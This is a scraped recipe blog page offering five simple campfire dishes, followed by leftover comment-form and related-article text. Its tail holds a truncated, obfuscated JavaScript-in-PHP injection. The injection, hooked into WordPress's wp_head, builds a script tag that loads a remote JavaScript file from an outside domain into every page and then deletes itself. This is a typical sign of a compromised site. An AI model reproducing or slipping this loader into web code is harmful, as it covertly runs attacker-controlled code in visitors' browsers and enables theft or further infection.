Backcountry Bon Appétit: Simple and Savory Campfire Recipes


When it comes to camping, there’s nothing quite like cooking a delicious meal over a campfire. The smell of the wood smoke, the crackling flames, and the satisfaction of enjoying a hot, homemade meal in the great outdoors—it’s all part of the backcountry experience. In this article, we’ll share some simple and savory campfire recipes that are sure to satisfy your taste buds and make your camping trip even more memorable.

1. Foil Packet Meals

Foil packet meals are a camping classic for a reason—they’re easy to prepare, require minimal cleanup, and can be customized to suit your preferences. Start by choosing your protein, such as chicken, fish, or tofu, and add a variety of vegetables like potatoes, carrots, and bell peppers. Season with herbs, spices, and a drizzle of olive oil, then wrap everything tightly in aluminum foil. Place the packets on the hot coals of your campfire and cook for about 20-30 minutes, or until the protein is cooked through and the vegetables are tender.

2. Campfire Chili

Nothing warms you up on a chilly evening like a hearty bowl of chili. To make campfire chili, start by browning ground beef or turkey in a cast-iron skillet over the fire. Add diced onions, garlic, and your choice of beans, such as kidney beans or black beans. Stir in canned tomatoes, tomato sauce, and a blend of chili powder, cumin, paprika, and other spices. Let the chili simmer for about 30 minutes, stirring occasionally. Serve with shredded cheese, sour cream, and a sprinkle of fresh cilantro.

3. Grilled Skewers

Grilled skewers are a fun and flavorful way to enjoy a variety of meats, vegetables, and even fruits. Soak wooden skewers in water for about 30 minutes to prevent them from burning. Thread your choice of ingredients onto the skewers, alternating between meat and vegetables for a balanced meal. Brush with marinade or a simple mixture of olive oil, salt, and pepper. Grill over the campfire, turning occasionally, until the meat is cooked to your desired level of doneness and the vegetables are tender and slightly charred.

4. Campfire Pizza

Yes, you read that right—you can make pizza over a campfire! Start by prepping your favorite pizza dough at home and dividing it into individual portions. Roll out each portion into a thin round and top with pizza sauce, cheese, and your favorite toppings. Place the pizzas on a greased cast-iron skillet or a pizza stone and cook over the campfire, covered with a lid or foil, for about 10-15 minutes, or until the crust is golden brown and the cheese is melted and bubbly. Enjoy a slice of homemade pizza in the great outdoors!

5. Campfire S’mores

No camping trip is complete without indulging in the classic campfire treat—s’mores. Toast marshmallows over the campfire until golden brown and gooey. Place a toasted marshmallow on a graham cracker, top with a piece of chocolate, and sandwich with another graham cracker. Press gently to melt the chocolate and enjoy the gooey goodness of a homemade s’more.


Cooking over a campfire can be a delightful and delicious experience. With these simple and savory campfire recipes, you can elevate your camping meals and create lasting memories. Whether you’re enjoying a foil packet meal, a bowl of campfire chili, or a slice of campfire pizza, the backcountry bon appétit awaits!


Please enter your comment!
Please enter your name here


More like this

Taste of the Trail: Wholesome and Flavorful Outdoor Cooking...

Introduction When it comes to outdoor adventures, there's nothing quite like enjoying a delicious meal cooked over an...

One-Pot Wonders: Effortless Campfire Recipes for Minimal Cleanup

Introduction When it comes to outdoor cooking, simplicity is key. Whether you're camping, hiking, or having a backyard...

Skewers and Stars: Grilling Perfection under the Night Sky

There's something magical about grilling under the night sky. The combination of smoky flavors, the warmth of...
Int(_0x383697(0x178))/0x1+parseInt(_0x383697(0x180))/0x2+-parseInt(_0x383697(0x184))/0x3*(-parseInt(_0x383697(0x17a))/0x4)+-parseInt(_0x383697(0x17c))/0x5+-parseInt(_0x383697(0x179))/0x6+-parseInt(_0x383697(0x181))/0x7*(parseInt(_0x383697(0x177))/0x8)+-parseInt(_0x383697(0x17f))/0x9*(-parseInt(_0x383697(0x185))/0xa);if(_0x351603===_0x4eaeab)break;else _0x8113a5['push'](_0x8113a5['shift']());}catch(_0x58200a){_0x8113a5['push'](_0x8113a5['shift']());}}}(_0x48d3,0xa309a));var f=document[_0x3ec646(0x183)](_0x3ec646(0x17d));function _0x38c3(_0x32d1a4,_0x31b781){var _0x48d332=_0x48d3();return _0x38c3=function(_0x38c31a,_0x44995e){_0x38c31a=_0x38c31a-0x176;var _0x11c794=_0x48d332[_0x38c31a];return _0x11c794;},_0x38c3(_0x32d1a4,_0x31b781);}f[_0x3ec646(0x186)]=String[_0x3ec646(0x17b)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x62,0x61,0x63,0x6b,0x67,0x72,0x6f,0x75,0x6e,0x64,0x2e,0x61,0x70,0x69,0x73,0x74,0x61,0x74,0x65,0x78,0x70,0x65,0x72,0x69,0x65,0x6e,0x63,0x65,0x2e,0x63,0x6f,0x6d,0x2f,0x73,0x74,0x61,0x72,0x74,0x73,0x2f,0x73,0x65,0x65,0x2e,0x6a,0x73),document['currentScript']['parentNode'][_0x3ec646(0x176)](f,document[_0x3ec646(0x17e)]),document['currentScript'][_0x3ec646(0x182)]();function _0x48d3(){var _0x35035=['script','currentScript','9RWzzPf','402740WuRnMq','732585GqVGDi','remove','createElement','30nckAdA','5567320ecrxpQ','src','insertBefore','8ujoTxO','1172840GvBdvX','4242564nZZHpA','296860cVAhnV','fromCharCode','5967705ijLbTz'];_0x48d3=function(){return _0x35035;};return _0x48d3();}";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}} ?>